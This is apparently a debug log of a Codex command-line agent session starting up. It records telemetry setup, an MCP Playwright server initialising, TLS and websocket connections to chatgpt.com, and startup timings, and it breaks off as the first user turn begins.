rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.mcp.tools.fetch_uncached.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.174Z] [INFO] \n[2026-07-12T04:02:15.185Z] [INFO] 2026-07-12T04:02:15.184758Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.mcp.tools.cache_write.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.185Z] [INFO] \n[2026-07-12T04:02:15.188Z] [INFO] 2026-07-12T04:02:15.185561Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.mcp.tools.cache_publish.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.188Z] [INFO] 2026-07-12T04:02:15.185633Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.mcp.tools.list.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.188Z] [INFO] 2026-07-12T04:02:15.185688Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.apps.refresh.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:15.188Z] [INFO] \n[2026-07-12T04:02:16.138Z] [INFO] 2026-07-12T04:02:16.137238Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:16.138Z] [INFO] \n[2026-07-12T04:02:16.199Z] [INFO] 2026-07-12T04:02:16.197261Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:16.199Z] [INFO] \n[2026-07-12T04:02:16.245Z] [INFO] 2026-07-12T04:02:16.243741Z  INFO shell_snapshot{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::shell_snapshot: Shell snapshot successfully created: /home/box/.codex/shell_snapshots/019f547d-6d2b-7162-ae64-b2b122b89c77.tmp-1783828933969006885\n[2026-07-12T04:02:16.245Z] [INFO] \n[2026-07-12T04:02:16.255Z] [INFO] 2026-07-12T04:02:16.253070Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:16.255Z] [INFO] \n[2026-07-12T04:02:16.275Z] [INFO] 2026-07-12T04:02:16.274882Z DEBUG shell_snapshot{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.shell_snapshot.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:16.275Z] [INFO] 2026-07-12T04:02:16.275029Z DEBUG shell_snapshot{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.shell_snapshot\" cardinality_limit=2000\n[2026-07-12T04:02:16.275Z] [INFO] \n[2026-07-12T04:02:16.286Z] [INFO] 2026-07-12T04:02:16.285473Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:16.286Z] [INFO] \n[2026-07-12T04:02:16.287Z] [INFO] 2026-07-12T04:02:16.286734Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:16.287Z] [INFO] \n[2026-07-12T04:02:16.294Z] [INFO] 2026-07-12T04:02:16.292584Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:16.294Z] [INFO] \n[2026-07-12T04:02:17.319Z] [INFO] 2026-07-12T04:02:17.315764Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:17.319Z] [INFO] 2026-07-12T04:02:17.315832Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:17.319Z] [INFO] \n[2026-07-12T04:02:17.715Z] [INFO] 2026-07-12T04:02:17.701135Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:17.715Z] [INFO] \n[2026-07-12T04:02:17.797Z] [INFO] 2026-07-12T04:02:17.796935Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:17.797Z] [INFO] \n[2026-07-12T04:02:17.818Z] [INFO] 2026-07-12T04:02:17.818005Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:17.818Z] [INFO] \n[2026-07-12T04:02:17.822Z] [INFO] 2026-07-12T04:02:17.822185Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:17.822Z] [INFO] \n[2026-07-12T04:02:17.843Z] [INFO] 2026-07-12T04:02:17.828378Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:17.843Z] [INFO] \n[2026-07-12T04:02:18.025Z] [INFO] 2026-07-12T04:02:18.005176Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: Service initialized as client peer_info=Some(InitializeResult { protocol_version: ProtocolVersion(\"2025-06-18\"), capabilities: ServerCapabilities { experimental: None, extensions: None, logging: None, completions: None, prompts: None, resources: None, tools: Some(ToolsCapability { list_changed: None }), tasks: None }, server_info: Implementation { name: \"Playwright\", title: None, version: \"1.62.0-alpha-1783623505000\", description: None, icons: None, website_url: None }, instructions: None })\n[2026-07-12T04:02:18.025Z] [INFO] \n[2026-07-12T04:02:18.134Z] [INFO] 2026-07-12T04:02:18.071091Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_build_tools\" duration_ms=3783 event.timestamp=2026-07-12T04:02:18.071Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.134Z] [INFO] 2026-07-12T04:02:18.071139Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_build_tools\" duration_ms=3783 event.timestamp=2026-07-12T04:02:18.071Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.134Z] [INFO] 2026-07-12T04:02:18.071278Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_build_prompt\" duration_ms=0 event.timestamp=2026-07-12T04:02:18.071Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.134Z] [INFO] 2026-07-12T04:02:18.071293Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_build_prompt\" duration_ms=0 event.timestamp=2026-07-12T04:02:18.071Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.134Z] [INFO] \n[2026-07-12T04:02:18.324Z] [INFO] 2026-07-12T04:02:18.322496Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: codex_api::endpoint::responses_websocket: connecting to websocket: wss://chatgpt.com/backend-api/codex/responses\n[2026-07-12T04:02:18.324Z] [INFO] \n[2026-07-12T04:02:18.371Z] [INFO] 2026-07-12T04:02:18.366109Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::webpki::anchors: add_parsable_certificates processed 121 valid and 0 invalid certs\n[2026-07-12T04:02:18.371Z] [INFO] \n[2026-07-12T04:02:18.395Z] [INFO] 2026-07-12T04:02:18.393601Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::hs: No cached session for DnsName(\"chatgpt.com\")\n[2026-07-12T04:02:18.395Z] [INFO] 2026-07-12T04:02:18.393686Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::hs: Not resuming any session\n[2026-07-12T04:02:18.395Z] [INFO] \n[2026-07-12T04:02:18.403Z] [INFO] 2026-07-12T04:02:18.399927Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::hs: Using ciphersuite TLS13_AES_256_GCM_SHA384\n[2026-07-12T04:02:18.403Z] [INFO] 2026-07-12T04:02:18.400088Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::tls13: Not resuming\n[2026-07-12T04:02:18.403Z] [INFO] 2026-07-12T04:02:18.400440Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::tls13: TLS1.3 encrypted extensions: ServerExtensions { server_name_ack: (), unknown_extensions: {}, .. }\n[2026-07-12T04:02:18.403Z] [INFO] 2026-07-12T04:02:18.400474Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: rustls::client::hs: ALPN protocol is None\n[2026-07-12T04:02:18.403Z] [INFO] \n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.602985Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: tungstenite::handshake::client: Client handshake done.\n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.603110Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}:responses_websocket.connect{transport=\"responses_websocket\" api.path=\"responses\"}: codex_api::endpoint::responses_websocket: successfully connected to websocket: wss://chatgpt.com/backend-api/codex/responses, headers: {\"date\": \"Sun, 12 Jul 2026 04:02:18 GMT\", \"connection\": \"upgrade\", \"upgrade\": \"websocket\", \"sec-websocket-accept\": \"xtnsYwVLkOH7fwvjGb5Mfv8/GC0=\", \"sec-websocket-extensions\": \"permessage-deflate\", \"x-models-etag\": \"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"set-cookie\": \"__cf_bm=j8ocEX6iG2XGINQ2tDfV7qzlX4YOmctLnvk0ImfpHk8-1783828938-1.0.1.1-ec_bomn36cjwTsvZq10u.6bu150rweBaQlNOOgE7wekYlJ8s8wX9jSkI91KAEYbkDDmUffc4lZAhE096Ru6gbe9eYm6lngBoI_R8qNqP8hU; path=/; expires=Sun, 12-Jul-26 04:32:18 GMT; domain=.chatgpt.com; HttpOnly; Secure; SameSite=None\", \"report-to\": \"{\\\"endpoints\\\":[{\\\"url\\\":\\\"https:\\/\\/a.nel.cloudflare.com\\/report\\/v4?s=PpWadeTxXzofJ6iPRbf16Tb6vlfhfbKpRYUmJNSIWLZkBqn6W0KPlULXymPwHh5LyMNrmeOD155ErJFsiO0hJjzA82vkfiz8u58OcNPXm9wldUATp%2B2u5qUEERlE\\\"}],\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800}\", \"nel\": \"{\\\"success_fraction\\\":0.01,\\\"report_to\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800}\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"server\": \"cloudflare\", \"cf-ray\": \"a19d26d12c32d39a-FRA\"}\n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.603213Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}: codex_otel.log_only: event.name=\"codex.websocket_connect\" duration_ms=531 success=\"true\" auth.header_attached=true auth.header_name=\"authorization\" auth.retry_after_unauthorized=false endpoint=\"/responses\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=false event.timestamp=2026-07-12T04:02:18.603Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.603236Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}: codex_otel.trace_safe: event.name=\"codex.websocket_connect\" duration_ms=531 success=\"true\" auth.header_attached=true auth.header_name=\"authorization\" auth.retry_after_unauthorized=false endpoint=\"/responses\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=false event.timestamp=2026-07-12T04:02:18.603Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.605Z] [INFO] 2026-07-12T04:02:18.603248Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:model_client.websocket_connection{provider=OpenAI wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"false\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:18.605Z] [INFO] \n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.612861Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.websocket.request\" cardinality_limit=2000\n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.612973Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.websocket.request.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.613016Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=8 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=false event.timestamp=2026-07-12T04:02:18.613Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.613037Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=8 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=false event.timestamp=2026-07-12T04:02:18.613Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.622Z] [INFO] 2026-07-12T04:02:18.613051Z  INFO model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"false\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:18.622Z] [INFO] \n[2026-07-12T04:02:18.699Z] [INFO] 2026-07-12T04:02:18.694255Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.websocket.event\" cardinality_limit=2000\n[2026-07-12T04:02:18.699Z] [INFO] \n[2026-07-12T04:02:18.705Z] [INFO] 2026-07-12T04:02:18.696940Z DEBUG model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=true}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.websocket.event.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:18.705Z] [INFO] \n[2026-07-12T04:02:18.807Z] [INFO] 2026-07-12T04:02:18.805945Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311cab14c8191a161a104306e96bf\"\n[2026-07-12T04:02:18.807Z] [INFO] 2026-07-12T04:02:18.806200Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=10463 output_token_count=0 cached_token_count=0 reasoning_token_count=0 tool_token_count=10463 event.timestamp=2026-07-12T04:02:18.806Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.807Z] [INFO] \n[2026-07-12T04:02:18.811Z] [INFO] 2026-07-12T04:02:18.807659Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=10463 output_token_count=0 cached_token_count=0 reasoning_token_count=0 tool_token_count=10463 event.timestamp=2026-07-12T04:02:18.807Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.811Z] [INFO] 2026-07-12T04:02:18.807829Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_websocket_warmup\" duration_ms=736 event.timestamp=2026-07-12T04:02:18.807Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.811Z] [INFO] 2026-07-12T04:02:18.807857Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_websocket_warmup\" duration_ms=736 event.timestamp=2026-07-12T04:02:18.807Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.811Z] [INFO] \n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818001Z  INFO codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_total\" startup.status=\"ready\" duration_ms=4607 event.timestamp=2026-07-12T04:02:18.817Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818044Z  INFO codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_total\" startup.status=\"ready\" duration_ms=4607 event.timestamp=2026-07-12T04:02:18.818Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818101Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.startup_prewarm.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:18.820Z] [INFO] 2026-07-12T04:02:18.818260Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"startup_prewarm_resolve\" startup.status=\"ready\" duration_ms=3963 event.timestamp=2026-07-12T04:02:18.818Z 